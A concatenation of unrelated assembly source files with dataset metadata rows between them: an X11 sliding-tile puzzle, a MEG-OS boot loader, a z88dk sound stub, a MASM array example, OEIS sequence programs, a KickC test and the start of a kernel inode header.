XSetWMName_name equ $ - dynstr
db 'XSetWMName', 0
XSetWMProtocols_name equ $ - dynstr
db 'XSetWMProtocols', 0
XStringListToTextProperty_name equ $ - dynstr
db 'XStringListToTextProperty', 0
dynstr_size equ $ - dynstr
;;
;; The program proper.
;;
;; The slidetile function moves the tile at position eax into the
;; currently empty position. The absolute difference between empty and
;; eax must be either 4 or 1, and in the latter case empty and eax
;; need to point to the same row. If the requested move is invalid,
;; no change is made and the zero flag will be cleared upon return.
;; Otherwise, both puzzle and empty are updated. eax and edx are
;; altered by this function.
slidetile:
mov edx, [ADDR(empty)]
sub edx, eax
jns .positive
neg edx
.positive: cmp edx, byte 4
jz .goodmove
cmp edx, byte 1
jnz .badmove
.checkrow: mov edx, [ADDR(empty)]
xor edx, eax
and edx, byte ~3
jnz .badmove
.goodmove: cdq
xchg [ADDR(puzzle) + eax], dl
xchg eax, [ADDR(empty)]
mov [ADDR(puzzle) + eax], dl
.badmove: ret
;; The program begins here. ebp is initialized to point to the middle
;; of the program's data, a value that it will keep throughout this
;; program. eax is cleared and a zero value is pushed on the stack
;; (to be used later by XOpenDisplay).
_start:
mov ebp, _ebp_pos_
xor eax, eax
push eax
;; This routine creates the bitmap data for the tile images. The tile
;; bitmap, when constructed, is a 19x323 (monochrome) bitmap, divided
;; up into 17 tile images, each one 19x19 in dimension. The topmost
;; tile image represents the empty space; the remaining 16 images
;; represent the actual tiles, numbered 1 through 16.
;;
;; The program contains pixel data for the ten digits. Each digit is
;; represented by an 8x11 bitmap, or 11 bytes. The program copies each
;; digit one row at a time into the destination tile.
;; esi is pointed to the pixel data for the digits, and edi is pointed
;; to the empty memory where the tile images bitmap will be
;; constructed. The digits zero through nine are loaded into eax, one
;; pixel row at a time, and copied to two separate tiles, with the
;; second copy also containing the pixel data for the one digit
;; included. This loop therefore actually creates numbered tiles for
;; zero through nineteen, inclusive, even though only one through
;; sixteen will be used.
lea esi, [ADDR(digitbits)]
mov edi, tilebits + 3 * tilerowbytes
lea ecx, [eax + 10]
.digitloop: cdq
.digitrowloop: xor eax, eax
lodsb
shl eax, 7
stosw
shl eax, 2
mov al, [ADDR(digitbits) + digitheight + edx]
shl eax, 1
mov [edi + 10 * tilesize * tilerowbytes - 2], eax
inc edi
inc edx
cmp edx, byte digitheight
jnz .digitrowloop
add edi, byte (tilesize - digitheight) * tilerowbytes
loop .digitloop
;; Three of the seventeen tiles need to be manually fixed up after the
;; loop exits. Tile zero needs to have its digit overwritten with a
;; stipple-like pattern that represents the tile-less empty space. In
;; addition, tiles four and fourteen are both missing some pixels.
;; Unlike the other digits, which fit snugly in an 8x11 rectangle, the
;; images for the digit four extends into a ninth column. Rather than
;; store pixel data for a ninth column for all the digits, which would
;; double the size of the digit pixel data, the program ORs the
;; missing pixels into the two affected tiles manually.
mov eax, 0x04000004
add edi, byte (2 * tilesize + 3) * tilerowbytes
or [edi + (2 * tilesize + 3) * tilerowbytes + 2], eax
or [edi + (2 * tilesize + 3) * tilerowbytes + 8], al
lea esi, [ADDR(tilebits)]
mov dword [esi + tilerowbytes], 0x00044444
mov dword [esi + 3 * tilerowbytes], 0x00011111
lea edi, [esi + 4 * tilerowbytes]
mov cl, (tilesize - 4) * tilerowbytes
rep movsb
shl eax, 5
add edi, byte (2 * tilesize + 3) * tilerowbytes
or [edi + (tilesize + 6) * tilerowbytes + 1], eax
or [edi + (tilesize + 6) * tilerowbytes + 7], al
;; With basic initialization completed, XOpenDisplay is called to
;; connect to the X server. If this call fails, the program quits
;; directly with a nonzero exit code. Otherwise, the Display pointer
;; value is saved in ebx, which is where it will be stored for the
;; majority of the program's lifespan.
call [ADDR(XOpenDisplay_rel)]
or eax, eax
jnz .connected
inc eax
mov ebx, eax
int 0x80
.connected: xchg eax, ebx
;; Here the program stores a local copy of the current stack pointer,
;; to be restored inside the event loop.
mov [ADDR(stackptr)], esp
;; A pre-existing graphics context is obtained.
lea eax, [byte ebx + 80]
DefaultScreenOfDisplay esi, (eax - 80)
mov eax, DefaultGCOfScreen(esi)
mov [ADDR(gc)], eax
;; XCreatePixmapFromBitmapData is used to turn our tile image bitmap
;; into a pixmap compatible with the X server.
push DefaultDepthOfScreen(esi)
push WhitePixelOfScreen(esi)
push BlackPixelOfScreen(esi)
push dword tilesize * 17
push byte tilesize
push tilebits
push RootWindowOfScreen(esi)
push ebx
call [ADDR(XCreatePixmapFromBitmapData_rel)]
mov [ADDR(tileimages)], eax
;; XCreateSimpleWindow is called, and the returned Window value is
;; stored in esi.
xor edx, edx
push WhitePixelOfScreen(esi)
push BlackPixelOfScreen(esi)
push edx
push byte windowsize
push byte windowsize
push edx
push edx
push RootWindowOfScreen(esi)
push ebx
call [ADDR(XCreateSimpleWindow_rel)]
xchg eax, esi
;; The atom for WM_DELETE_WINDOW is retrieved so that the program can
;; use XSetWMProtocols to request to be notified when the window
;; manager tries to close the window.
lea eax, [ADDR(delwinproto)]
mov [esp + 4], eax
call [ADDR(XInternAtom_rel)]
pop ebx
lea edi, [ADDR(textprop)]
mov [edi], eax
push byte 1
push edi
push esi
push ebx
call [ADDR(XSetWMProtocols_rel)]
;; A string property is created for the string "Puzzle", and calling
;; XSetWMName makes this our window's title.
push edi
push byte 1
lea eax, [ADDR(titlestrlist)]
push eax
call [ADDR(XStringListToTextProperty_rel)]
push edi
push esi
push ebx
call [ADDR(XSetWMName_rel)]
;; A stipple pattern is created and selected into the GC; this will be
;; used to fill in the frame surrounding the tiles that make up the
;; body of the puzzle.
push byte 4
push byte 4
push ebp
push esi
push ebx
call [ADDR(XCreateBitmapFromData_rel)]
push eax
push dword [ADDR(gc)]
push ebx
call [ADDR(XSetStipple_rel)]
;; The program requests to be notified of exposure events and mouse
;; button events, and then finally XMapWindow is called to make the
;; window visible.
push myeventmask
push esi
push ebx
call [ADDR(XSelectInput_rel)]
call [ADDR(XMapWindow_rel)]
;; The puzzle is initialized in its solved state. Now the program
;; needs to mix it up. A very simple pseudo-random number generator is
;; used (basically the old linear congruential generator), seeded with
;; the lower half of the TSC.
;;
;; The puzzle needs to have about 1000 random moves made in order to
;; be properly randomized, so that every tile has a roughly equal
;; chance of being in a given position. Because this code selects the
;; tile to move without regard to their proximity to current location
;; of the empty space, approximately four times out of five it will
;; request an invalid move. Thus the loop must be repeated 5000 times
;; to achieve a properly random initial state.
rdtsc
mov ecx, 5000
.shuffleloop: mov edx, 1103515245
mul edx
lea eax, [eax + ecx*2]
push eax
shr eax, 28
call slidetile
pop eax
loop .shuffleloop
;; Finally, the program begins the event loop, where it will remain
;; until it is time to exit. Each time through the stack is reset, so
;; that the code is spared the necessity of repeatedly cleaning up
;; after every function call.
.runloop:
mov esp, [ADDR(stackptr)]
;; XNextEvent is used to wait until an event can be retrieved. The
;; program can get three types of events: A mouse button press, an
;; expose event, or a client message. The latter type only occurs when
;; the user has attempted to close our window, so in that case the
;; program immediately exits. The others types are routed to the
;; appropriate routine following.
lea edi, [ADDR(event)]
push edi
push ebx
call [ADDR(XNextEvent_rel)]
mov eax, [edi]
sub eax, byte Expose
jz .render
sub eax, byte ButtonPress - Expose
jz .mouse
sub eax, byte ClientMessage - ButtonPress
jnz .runloop
.exit: mov ebx, eax
inc eax
int 0x80
;; The program comes here upon retrieving a mouse click.
.mouse:
;; The X and Y coordinates of the mouse are retrieved, and after
;; subtracting the frame width and dividing by the width of the tiles,
;; the values can be combined to find the position of the tile that
;; was clicked on. This value is then passed to the slidetile routine.
mov ecx, ButtonOfXButtonEvent(edi)
loop .runloop
mov cl, tilesize + 1
mov eax, YOfXButtonEvent(edi)
sub eax, byte framesize
idiv cl
sar ah, 7
xchg eax, edx
mov eax, XOfXButtonEvent(edi)
sub eax, byte framesize
idiv cl
sar ah, 7
shl edx, 2
add eax, edx
call slidetile
;; After every call to slidetile, the puzzle's state is examined to
;; see if it is currently in the winning configuration. If so, the
;; last position is changed from empty to the sixteenth tile (and the
;; empty variable is set to a value well outside of the puzzle). In
;; either case, the program then proceeds to the rendering routine.
mov cl, 15
.checkloop: cmp [ADDR(puzzle) + ecx - 1], cl
jnz .render
loop .checkloop
mov byte [ADDR(puzzle) + 15], 16
mov byte [ADDR(empty)], 127
;; The program comes here whenever the window needs to be redrawn.
.render:
;; The rendering routine begins by calling XFillRectangle twice in a
;; row. On the first call, the entire window is filled with the
;; stipple pattern for the frame. The rectangle is then shrunk by four
;; pixels in all directions, and then this rectangle is filled with
;; solid black. The end result is to create the frame and the
;; one-pixel black border separating it from the tiles.
xor eax, eax
lea ecx, [eax + windowsize]
lea edi, [eax + FillStippled]
.again: push ecx
push ecx
push eax
push eax
mov ecx, [ADDR(gc)]
push ecx
push esi
push ebx
push edi
push ecx
push ebx
call [ADDR(XSetFillStyle_rel)]
add esp, byte 12
call [ADDR(XFillRectangle_rel)]
or edi, edi
jz .proceed
xor edi, edi
lea ecx, [edi + windowsize - framesize - 3]
lea eax, [edi + framesize - 1]
jmp short .again
.proceed:
;; The black pixels now filling the tile area will be used to provide
;; the lines separating the individual tiles from each other. However,
;; these lines are interrupted from reaching the frame on the
;; right-hand and bottom edges. In order to clear these, the program
;; draws two white lines along those sides, just inside the frame.
;; The program uses two calls to XClearArea with very thin rectangles
;; as a fast way to draw white lines without having to change the
;; current foreground color.
push edi
push byte windowsize - (framesize + 1) * 2
push byte 1
push byte framesize + 1
push byte windowsize - (framesize + 1)
push esi
push ebx
call [ADDR(XClearArea_rel)]
push edi
push byte 1
push byte windowsize - (framesize + 1) * 2
push byte windowsize - (framesize + 1)
push byte framesize + 1
push esi
push ebx
call [ADDR(XClearArea_rel)]
;; Now the program sets up a stack frame that will be used to
;; repeatedly call XCopyArea, with the tile image pixmap as the source
;; and the window as the destination.
push eax
push eax
push byte tilesize
push byte tilesize
push eax
push edi
push dword [ADDR(gc)]
push esi
push dword [ADDR(tileimages)]
push ebx
;; The program now enters a nested loop in order to draw the sixteen
;; tiles that make up the body of the puzzle. esi holds in turn each
;; tile's x-coordinate, and edi holds the y-coordinate. ebx points to
;; the puzzle array, and retrieves the number representing the tile at
;; that position, which is used to find the proper tile to copy from
;; the tile image pixmap. These coordinates are inserted into the
;; previously created stack frame just before invoking XCopyArea on
;; each iteration of the inner loop.
lea ebx, [ADDR(puzzle)]
lea edi, [edi + framesize]
.ydrawloop: mov [esp + 36], edi
push byte framesize
pop esi
.xdrawloop: mov [esp + 32], esi
movzx eax, byte [ebx]
inc ebx
mov cl, tilesize
mul cl
mov [esp + 20], eax
call [ADDR(XCopyArea_rel)]
add esi, byte tilesize + 1
cmp esi, byte windowsize - framesize
jl .xdrawloop
add edi, byte tilesize + 1
cmp edi, byte windowsize - framesize
jl .ydrawloop
;; ebx and esi's values (the Display pointer and the Window,
;; respectively) are restored from the stack, and the program returns
;; to the top of the main event loop.
pop ebx
pop esi
pop esi
jmp .runloop
;;
;; Program data.
;;
;; The window title text.
titlestr: db 'Puzzle', 0
;; The protocol string indicating when the user closes our window.
delwinproto: db 'WM_DELETE_WINDOW', 0
;; The graphic data for the digits 0 through 9. Each digit has 11
;; bytes of data, with each byte representing one row of eight pixels.
digitbits: db 0x3C,0x66,0xDB,0xBD,0xA5,0xA5,0xA5,0xBD,0xDB,0x66,0x3C
db 0x38,0x2C,0x24,0x2C,0x28,0x28,0x28,0x28,0x28,0x28,0x38
db 0x7C,0xC6,0xBB,0xAD,0xB7,0xD8,0x6C,0x36,0xFB,0x81,0xFF
db 0xFF,0x81,0xDF,0x6C,0x64,0xDC,0xB0,0xB7,0xDD,0x63,0x3E
db 0xE0,0xB0,0x98,0xAC,0xB6,0xBB,0xBD,0x01,0xBF,0xA0,0xE0
db 0xFF,0x81,0xFD,0x7D,0xC1,0xBF,0xA0,0xA7,0xBD,0xC3,0x7E
db 0x7C,0x46,0x7B,0x7D,0xC1,0xBD,0xA5,0xA5,0xBD,0xC3,0x7E
db 0xFF,0x81,0xBF,0xD0,0x58,0x68,0x2C,0x34,0x14,0x14,0x1C
db 0x7E,0xC3,0xBD,0xBD,0xC3,0xBD,0xA5,0xA5,0xBD,0xC3,0x7E
db 0x7E,0xC3,0xBD,0xA5,0xA5,0xBD,0x83,0xBE,0xDE,0x62,0x3E
;; ebp is set to point here during initialization. From here most of
;; the data needed by the program is within 127 bytes.
_ebp_pos_:
;; The 4x4 stipple pattern for the frame.
framebits: db 0x05, 0x0E, 0x05, 0x0B
ALIGN 4
;; A string-pointer list of length one.
titlestrlist: dd titlestr
;; The puzzle is represented as a simple array of 16 bytes, with 0
;; representing the empty tile-less tile, and the bytes 1 through 15
;; (or 16) representing each numbered tile. The tiles are arranged in
;; the array left-to-right, top-to-bottom. In addition, the variable
;; empty holds the current offset of the tile-less position.
;;
;; The initial state of the puzzle is the winning configuration: tiles
;; one through fifteen in sequence, with the empty space in the
;; bottom-right corner.
puzzle: db 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,0
empty: db 15
;;
;; End of the file image.
;;
file_size equ $ - $$
;;
;; Beginning of the program's bss section.
;;
ABSOLUTE $
resb 3 ; the rest of the empty variable dword
;; This section is used to hold pointers to all of the imported X
;; functions used by the program. Note, however, that since many of
;; these functions are only used during initialization, several of
;; these locations are subsequently reused to hold values needed
;; afterwards.
stackptr:
XOpenDisplay_rel: resd 1
gc:
XDefaultGC_rel: resd 1
XInternAtom_rel: resd 1
XCreateBitmapFromData_rel: resd 1
tileimages:
XCreatePixmapFromBitmapData_rel:resd 1
XCreateSimpleWindow_rel: resd 1
XSelectInput_rel: resd 1
XMapWindow_rel: resd 1
XSetStipple_rel: resd 1
XSetWMName_rel: resd 1
XSetWMProtocols_rel: resd 1
XStringListToTextProperty_rel: resd 1
XNextEvent_rel: resd 1
XClearArea_rel: resd 1
XCopyArea_rel: resd 1
XFillRectangle_rel: resd 1
XSetFillStyle_rel: resd 1
;; A temporary buffer. This is where the program builds up the tile
;; bitmap, and is subsequently reused briefly to store a text property
;; structure, and then again inside the event loop to hold the
;; retrieved events.
textprop:
event:
tilebits: resb 20 * tilesize * tilerowbytes
mem_size equ $ - $$
| 27.76958 | 72 | 0.724096 |
428f0873e95052e80ec5ffde469992184fd4fbd0 | 4,257 | asm | Assembly | src/sys/osz2bt.asm | neri/osz | d1766e2f5daabd5914a80b838c0219f330a0d0af | [
"MIT"
] | 7 | 2017-01-11T17:13:10.000Z | 2022-02-17T06:40:50.000Z | src/sys/osz2bt.asm | neri/osz | d1766e2f5daabd5914a80b838c0219f330a0d0af | [
"MIT"
] | null | null | null | src/sys/osz2bt.asm | neri/osz | d1766e2f5daabd5914a80b838c0219f330a0d0af | [
"MIT"
] | 1 | 2019-06-24T09:49:43.000Z | 2019-06-24T09:49:43.000Z | ;;
;; MEG-OS Zero Second boot loader
;;
;; Copyright (c) 2014-2017 MEG-OS project
;; All rights reserved.
;;
;; Redistribution and use in source and binary forms, with or without modification,
;; are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice, this
;; list of conditions and the following disclaimer.
;;
;; * Redistributions in binary form must reproduce the above copyright notice, this
;; list of conditions and the following disclaimer in the documentation and/or
;; other materials provided with the distribution.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
;; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
;; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
;; ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
;; (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
;; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
;; ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
;; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
;; SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
%include "oszbio.inc"
%include "osz.inc"
; 0x0201 = 1.2
%define VER_MAJ_MIN 0x0000
%define VER_REVISION 0x0008
%define IPL_SIGN 0x1eaf
%define ORG_BASE 0x0800
%define _osz_systbl 0x0700
[BITS 16]
[ORG ORG_BASE]
_HEAD:
db "EM"
jmp short _legacy_entry
file_size dw 0
offset_data dw 0
offset_ramd dw 0
size_ramd dw 0 ;
db 0x7F, "OSZ"
_next:
.load_loop:
push bx
push ds
push es
mov cx, [bx]
jcxz forever
xor di, di
rep movsb
push si
push es
push cs
pop es
pop ds
mov bx, _osz_systbl
mov al, [es:bx + OSZ_SYSTBL_ARCH]
mov cl, [es:bx + OSZ_SYSTBL_CPUID]
mov dx, [es:bx + OSZ_SYSTBL_BIOS]
push cs
call _invoke
pop si
pop dx
pop ds
pop bx
add dx, ax
mov es, dx
add bx, byte 2
jmp short .load_loop
_invoke:
mov bp, [ds:0x0002]
push ds
push bp
retf
alignb 16
_END_RESIDENT:
_legacy_entry:
xor ax, IPL_SIGN
jz short _crt
forever:
jmp short forever
_crt:
cli
cld
mov es, ax
mov ss, ax
mov sp, ORG_BASE
push cx
push cs
pop ds
xor si, si
mov di, ORG_BASE
mov cx, (_END - _HEAD)/2
rep movsw
mov di, _osz_systbl
mov bp, di
mov al, 0xEA
stosb
xor ax, ax
stosb
stosw
stosw
pop ax
stosw
mov ax, VER_MAJ_MIN
stosw
mov ax, VER_REVISION
stosw
xor ax, ax
stosw
stosw
mov ax, cs
mov dx, [offset_ramd-ORG_BASE]
mov cl, 4
shr dx, cl
add ax, dx
stosw
mov ax, [size_ramd-ORG_BASE]
stosw
mov ax, _next
push es
push ax
; DETECT CPU
_DETECT_CPUID:
xor di, di
; 186?
mov cx, 0x0121
shl ch, cl
jz short .end_cpu
inc di
; 286?
mov dx,0xF000
pushf
pop ax
mov cx, ax
and ax, 0x0FFF
push ax
popf
pushf
pop ax
and ax,dx
cmp ax,dx
jz short .end_cpu
inc di
; 386?
or cx,dx
push cx
popf
pushf
pop ax
and ax,dx
jz short .end_cpu
inc di
; 486?
pushfd
pop eax
mov ecx, eax
xor eax, 0x00040000
push eax
popfd
pushfd
pop eax
cmp eax, ecx
jz .end_cpu
inc di
; cpuid?
mov eax, ecx
xor eax, 0x00200000
push eax
popfd
pushfd
pop eax
xor eax, ecx
jz .end_cpu
inc di
; amd64?
mov eax, 0x80000000
cpuid
cmp eax, 0x80000000
jbe .env_no_amd64
mov eax, 0x80000001
cpuid
bt edx, 29
jnc short .env_no_amd64
inc di
.env_no_amd64:
.end_cpu:
mov ax, di
mov di, _osz_systbl + OSZ_SYSTBL_CPUID
mov [es:di], al
_setup_unreal:
cmp byte [es:di], 3
jb .no_unreal
cli
lgdt [es:__GDT]
mov eax, cr0
or eax, byte 1
mov cr0, eax
db 0xEB, 0x00
mov ax, 0x08
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
; mov ss, ax
mov eax, cr0
and eax, byte -2
mov cr0, eax
db 0xEB, 0x00
push cs
pop ds
xor ax, ax
mov fs, ax
mov gs, ax
.no_unreal:
mov dx, (ORG_BASE + _END_RESIDENT - _HEAD)/16
mov es, dx
mov bx, _END-ORG_BASE
mov si, [offset_data-ORG_BASE]
retf
;; GDT
alignb 16
__GDT:
dw (__end_GDT-__GDT-1),__GDT ,0x0000,0x0000 ; 00 NULL
dw 0xFFFF,0x0000,0x9200,0x00CF ; 08 32bit KERNEL DATA FLAT
__end_GDT:
_END:
| 15.423913 | 83 | 0.708715 |
434ce824b92d94ecc75d4e5233758ee587f63a07 | 264 | asm | Assembly | libsrc/_DEVELOPMENT/sound/bit/c/sdcc_iy/bit_beep_raw_callee.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/sound/bit/c/sdcc_iy/bit_beep_raw_callee.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/sound/bit/c/sdcc_iy/bit_beep_raw_callee.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
; void bit_beep_raw_callee(uint16_t num_cycles, uint16_t tone_period_T)
SECTION code_clib
SECTION code_sound_bit
PUBLIC _bit_beep_raw_callee
EXTERN asm_bit_beep_raw
_bit_beep_raw_callee:
pop af
pop hl
pop de
push af
jp asm_bit_beep_raw
| 13.894737 | 71 | 0.780303 |
a8b7f3aad8c43fac88c3e154dd25d681035c3d09 | 393 | asm | Assembly | Chapter_4/Program 4.4/x86/Program_4.4_MASM.asm | chen150182055/Assembly | e5e76bea438a3752b59775098205a77aa7087110 | [
"MIT"
] | 272 | 2016-12-28T02:24:21.000Z | 2022-03-30T21:05:37.000Z | Chapter_4/Program 4.4/x86/Program_4.4_MASM.asm | chen150182055/Assembly | e5e76bea438a3752b59775098205a77aa7087110 | [
"MIT"
] | 1 | 2018-04-17T19:47:52.000Z | 2018-04-17T19:47:52.000Z | Chapter_4/Program 4.4/x86/Program_4.4_MASM.asm | chen150182055/Assembly | e5e76bea438a3752b59775098205a77aa7087110 | [
"MIT"
] | 62 | 2017-02-02T14:39:37.000Z | 2022-01-04T09:02:07.000Z | ; Program 4.4
; Array - MASM (32-bit)
; Copyright (c) 2017 Hall & Slonka
.386
.MODEL FLAT, stdcall
.STACK 4096
ExitProcess PROTO, dwExitCode:DWORD
.data
array DWORD 1, 2, 3, 4
.code
_main PROC
; Load using byte offsets
mov eax, array
mov ebx, [array + 4]
; Save using indices
mov edx, 2
mov [array + edx * 4], 10
mov edx, 3
mov [array + edx * 4], 20
INVOKE ExitProcess, 0
_main ENDP
END
| 13.551724 | 35 | 0.681934 |
66b7ebf7c850fa1793877d3674ea21442dbd13a7 | 685 | asm | Assembly | oeis/164/A164299.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/164/A164299.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/164/A164299.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A164299: a(n) = ((1+4*sqrt(2))*(3+sqrt(2))^n + (1-4*sqrt(2))*(3-sqrt(2))^n)/2.
; Submitted by Jon Maiga
; 1,11,59,277,1249,5555,24587,108637,479713,2117819,9348923,41268805,182170369,804140579,3549650891,15668921293,69165971521,305313380075,1347718479803,5949117218293,26260673951137,115920223178771,511696621414667,2258738166236605,9970552647516961,44012148721445531,194279023796054459,857589101726208037,3785581443784867009,16710364950625745795,73763119597260405707,325606162929182213677,1437295140394270442113,6344527701861347156939,28006100228408189846843,123624907457419708982485
mov $1,1
mov $2,6
lpb $0
sub $0,1
sub $2,$1
add $1,$2
add $1,$2
mul $2,7
lpe
mov $0,$1
| 45.666667 | 480 | 0.79854 |
7388207bbf5020188fbe022017ed837e124e394f | 815 | asm | Assembly | programs/oeis/306/A306671.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/306/A306671.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/306/A306671.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A306671: a(n) = gcd(tau(n), pod(n)) where tau(k) = the number of the divisors of k (A000005) and pod(k) = the product of the divisors of k (A007955).
; 1,2,1,1,1,4,1,4,3,4,1,6,1,4,1,1,1,6,1,2,1,4,1,8,1,4,1,2,1,8,1,2,1,4,1,9,1,4,1,8,1,8,1,2,3,4,1,2,1,2,1,2,1,8,1,8,1,4,1,12,1,4,3,1,1,8,1,2,1,8,1,12,1,4,3,2,1,8,1,10,1,4,1,12,1,4,1,8,1,12,1,2,1,4,1,12,1,2,3,1,1,8,1,8,1,4,1,12,1,8,1,2,1,8,1,2,3,4,1,16,1,4,1,2,1,12,1,8,1,8,1,12,1,4,1,8,1,8,1,4,1,4,1,3,1,4,3,2,1,12,1,8,3,8,1,12,1,4,1,4,1,2,1,2,1,4,1,16,1,8,3,2,1,8,1,2,1,4,1,18,1,8,1,8,1,8,1,2,1,8,1,2,1,4,1,1,1,12,1,4,1,4,1,12,1,4,3,2,1,16,1,2,1,4,1,16,1,4,1,4,1,8,1,4,9,4,1,12,1,8,1,8,1,12,1,2,1,8,1,20,1,2,3,2,1,8,1,8,1,8
mov $2,$0
cal $0,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n.
add $2,1
mov $3,$2
pow $3,4
gcd $0,$3
mov $1,$0
| 74.090909 | 522 | 0.558282 |
13e08e48bb15d5d1d47973dcf2f6a15cd25b0b1a | 693 | asm | Assembly | src/test/ref/loop-problem.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | 2 | 2022-03-01T02:21:14.000Z | 2022-03-01T04:33:35.000Z | src/test/ref/loop-problem.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | src/test/ref/loop-problem.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | // A simple loop results in NullPointerException during loop analysis
// Commodore 64 PRG executable file
.file [name="loop-problem.prg", type="prg", segments="Program"]
.segmentdef Program [segments="Basic, Code, Data"]
.segmentdef Basic [start=$0801]
.segmentdef Code [start=$80d]
.segmentdef Data [startAfter="Code"]
.segment Basic
:BasicUpstart(main)
.label SCREEN = $400
.segment Code
main: {
// *SCREEN = '0'
lda #'0'
sta SCREEN
// d()
jsr d
// b()
jsr b
// }
rts
}
d: {
// (*SCREEN)++;
inc SCREEN
// }
rts
}
b: {
ldx #0
__b1:
// d()
jsr d
// for( byte i: 0..3)
inx
cpx #4
bne __b1
// }
rts
}
| 16.902439 | 69 | 0.565657 |
cd4b16b8bee844dd14718d4a96b9ebab8a5b8aa1 | 20,430 | asm | Assembly | kernel/inode.asm | TheMachine02/Sorcery | ee657f5a64049bee0c947add7ff2cb92d7281ec1 | [
"MIT"
] | 14 | 2020-05-27T13:20:35.000Z | 2022-02-10T01:19:54.000Z | kernel/inode.asm | TheMachine02/Sorcery | ee657f5a64049bee0c947add7ff2cb92d7281ec1 | [
"MIT"
] | 10 | 2020-06-12T20:53:03.000Z | 2021-03-21T23:11:44.000Z | kernel/inode.asm | TheMachine02/Sorcery | ee657f5a64049bee0c947add7ff2cb92d7281ec1 | [
"MIT"
] | 84 | 2020-06-11T06:27:03.000Z | 2021-05-29T17:06:24.000Z | ; inode handling ;
define KERNEL_VFS_INODE 0
define KERNEL_VFS_INODE_FLAGS 0 ; 1 byte, inode flag
define KERNEL_VFS_INODE_ATOMIC_LOCK 1 ; rw lock, 5 bytes
define KERNEL_VFS_INODE_REFERENCE 6 ; 1 byte, number of reference to this inode
define KERNEL_VFS_INODE_SIZE 7 ; 3 bytes, size of the inode
define KERNEL_VFS_INODE_DEVICE 7 ; 2 bytes, device number if applicable
define KERNEL_VFS_INODE_LINK 7 ; 3 bytes, link if applicable
define KERNEL_VFS_INODE_PARENT 10 ; 3 bytes, parent of the inode, NULL mean root
define KERNEL_VFS_INODE_OP 13 ; 3 bytes, memory operation pointer
define KERNEL_VFS_INODE_DATA 16 ; starting from 8, we arrive at data path (all block are indirect)
; 3*16, 48 bytes
; in case of fifo, hold the fifo structure (15 bytes) (data block point to slab structure of 64 bytes with CACHE:BLOCK)
; SO FIFO : 32 bytes
define KERNEL_VFS_INODE_FIFO_DATA 16
define KERNEL_VFS_INODE_DMA_DATA 16
define KERNEL_VFS_INODE_DMA_POINTER 1
define KERNEL_VFS_DIRECTORY_ENTRY 0
define KERNEL_VFS_DIRECTORY_INODE 0 ; 3 bytes pointer to inode
define KERNEL_VFS_DIRECTORY_NAME 3 ; name,
define KERNEL_VFS_INODE_FILE_SIZE 16*16*KERNEL_MM_PAGE_SIZE ; maximum file size
define KERNEL_VFS_INODE_NODE_SIZE 64 ; size in byte of inode
define KERNEL_VFS_INODE_NODE_SIZE_DMA 64 ; inode size in case of DMA
define KERNEL_VFS_INODE_NODE_SIZE_FIFO 32 ; inode size in case of fifo
define KERNEL_VFS_INODE_NODE_SIZE_SYMLINK 16 ; symlink inode size
define KERNEL_VFS_DIRECTORY_ENTRY_SIZE 16 ; 16 bytes per entries, or 4 entries per slab entries
define KERNEL_VFS_DIRECTORY_NAME_SIZE 12 ; max size of a name within directory
; block device & char device operation ;
; files operations, take special entries ;
; expect call with inode lock held ... ;
define phy_read 0
define phy_write 4
define phy_sync 8
define phy_ioctl 8
; inode operation, take inode ;
define phy_read_inode 12
define phy_sync_inode 16
define phy_destroy_inode 20
; jump table for physical operation
.phy_none:
